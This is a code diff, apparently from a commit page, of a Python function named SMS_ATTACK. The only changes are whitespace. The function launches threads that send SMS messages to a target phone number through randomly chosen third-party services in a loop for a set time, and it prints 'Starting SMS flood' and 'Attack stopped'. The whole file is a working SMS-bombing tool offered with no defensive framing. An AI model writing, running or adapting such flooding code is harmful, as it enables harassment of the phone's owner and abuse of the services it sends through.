6
6
import tools .SMS .randomData as randomData
7
7
8
8
def SMS_ATTACK (threads , attack_time , phone ):
9
- # Finish
10
- global FINISH
11
- FINISH = False
12
- threads_list = []
9
+ # Finish
10
+ global FINISH
11
+ FINISH = False
12
+ threads_list = []
13
13
14
- # Get services list
15
- services = request .getServices ()
16
- # Make for Russian numbers
17
- phone = number .normalize (phone )
18
- # Get country name by phone
19
- country = number .getCountry (phone )
20
- print ("[#] Starting SMS flood to number: " + phone + ", country: " + country + ", time: " + str (attack_time ) + " secounds.." )
14
+ # Get services list
15
+ services = request .getServices ()
16
+ # Make for Russian numbers
17
+ phone = number .normalize (phone )
18
+ # Get country name by phone
19
+ country = number .getCountry (phone )
20
+ print ("[#] Starting SMS flood to number: " + phone + ", country: " + country + ", time: " + str (attack_time ) + " secounds.." )
21
21
22
- # Send SMS
23
- def sms_flood ():
24
- while not FINISH :
25
- service = randomData .random_service (services )
26
- service = request .Service (service )
27
- service .sendMessage (phone )
22
+ # Send SMS
23
+ def sms_flood ():
24
+ while not FINISH :
25
+ service = randomData .random_service (services )
26
+ service = request .Service (service )
27
+ service .sendMessage (phone )
28
28
29
29
30
- # Start threads
31
- for thread in range (threads ):
32
- print ("[#] Staring thread " + str (thread ))
33
- t = Thread (target = sms_flood )
34
- t .start ()
35
- threads_list .append (t )
36
- # Sleep selected secounds
37
- try :
38
- time .sleep (attack_time )
39
- except KeyboardInterrupt :
40
- FINISH = True
41
- # Terminate threads
42
- for thread in threads_list :
43
- FINISH = True
44
- thread .join ()
45
-
46
- print ("[!] Attack stopped!" )
30
+ # Start threads
31
+ for thread in range (threads ):
32
+ print ("[#] Staring thread " + str (thread ))
33
+ t = Thread (target = sms_flood )
34
+ t .start ()
35
+ threads_list .append (t )
36
+ # Sleep selected secounds
37
+ try :
38
+ time .sleep (attack_time )
39
+ except KeyboardInterrupt :
40
+ FINISH = True
41
+ # Terminate threads
42
+ for thread in threads_list :
43
+ FINISH = True
44
+ thread .join ()
45
+
46
+ print ("[!] Attack stopped!" )
0 commit comments